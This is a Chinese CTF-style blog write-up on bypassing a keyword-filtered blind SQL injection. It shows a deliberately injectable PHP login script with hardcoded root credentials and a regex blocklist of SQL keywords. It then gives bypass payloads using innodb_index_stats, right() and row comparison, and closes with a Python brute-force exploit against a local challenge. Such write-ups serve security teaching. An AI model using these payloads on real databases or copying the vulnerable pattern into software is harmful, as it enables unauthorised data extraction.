前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >再看SQL注入过滤列名如何注出数据

再看SQL注入过滤列名如何注出数据

原创
作者头像
Deen_
修改2019-11-02 20:03:26
3.7K0
修改2019-11-02 20:03:26
举报

源码

代码语言:txt
复制
<?php
error_reporting(0);
if (!isset($_POST['uname'])) {
    show_source(__FILE__);
    die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
      
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
        print "error";
        exit();
    }
}
$filter = "key|union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|\#";
foreach($_POST as $key=>$value){ 
    AttackFilter($key,$value,$filter);
}
$con = mysql_connect("127.0.0.1","root","heheda123");
if (!$con){
    die('Could not connect:'.mysql_error());
}
$db="test";
mysql_select_db($db, $con);
$sql="SELECT * FROM secrets WHERE username = '{$_POST['uname']}'";
$query = mysql_query($sql); 
if (mysql_num_rows($query) > 0) { 
    echo "success";
}
else{
    print "fail";
}
mysql_close($con);
/*
CREATE TABLE IF NOT EXISTS `secrets` (
`id` tinyint(3) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(20) NOT NULL,
`key` char(32) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=innodb DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;



INSERT INTO `xxxxx` (`id`, `username`, `key`) VALUES
(1, 'xxxx', 'xxxxx');

tips:
flag is key
key is number
?>
*/

?>

分析

分析代码

  1. 过滤union,只能盲注
  2. 过滤了mid,left,substr截取字符,还剩下right
  3. 过滤了= like 还能 用<>,in
  4. 返回'success'和'fail'优先考虑布尔型盲注
  5. 过滤了or字段information和ord字段不能用,已知列名,还差表名
  6. 列名key被过滤

绕过

获取表名可以使用innodb_index_stats,mysql5.5版本级以上,默认使用Innode作为存储引擎。

select group_concat(table_name) from mysql.innodb_index_stats where database_name in(database())可以获取新建的表名

所以完整payload应为:

(right((select group_concat(table_name) from mysql.innodb_index_stats where database_name in(database())),1)in('a')

使用right函数进行截取要注意取出来的顺序是反的

表名有了,但是使用select key from secrets是会被过滤的,这也是这个注入里面最不好绕的地方。

绕过列名key限制

使用select*from以及大于小于号进行绕过

一张图就清楚了。

(select 1,2,'3')小于 (select 1,2,'4')

先使用select*from 从表中取出数据,这样就可以绕过列名key的限制,再与我们数据进行比较。

这里key为纯数字是为了降低难度,当然,涉及字母,大小顺序为字母大于数字,小写字母大于大写。

所以这里为了使用这种方法注出key的值,需要先注出username的值。

payload为:

(right((select group_concat(username) from secrets),1)in('a')

得到username值为deen之后,再使用 上述方法,完整payload:

((select*from secrets)<(select 1,'deen',{}))

exp

exp如下:

代码语言:txt
复制
import requests
url = "http://127.0.0.1/flag2.php"
flag = ""

for i in range(1,32):
    for j in range(0,9):       
        payload = "'||((select*from/**/secrets)<(select/**/1,'deen','{}'))||'".format(flag+str(j))
        data = {
            "uname":payload
        }
        response = requests.post(url=url,data=data)
        if 'success' in response.text:
            flag = flag + str(j-1) 
            print(flag)
            break
        else:
            pass

写在最后

其实是password字段被or过滤给误伤了.....

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 源码
  • 分析
  • 绕过
  • 绕过列名key限制
  • exp
  • 写在最后
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档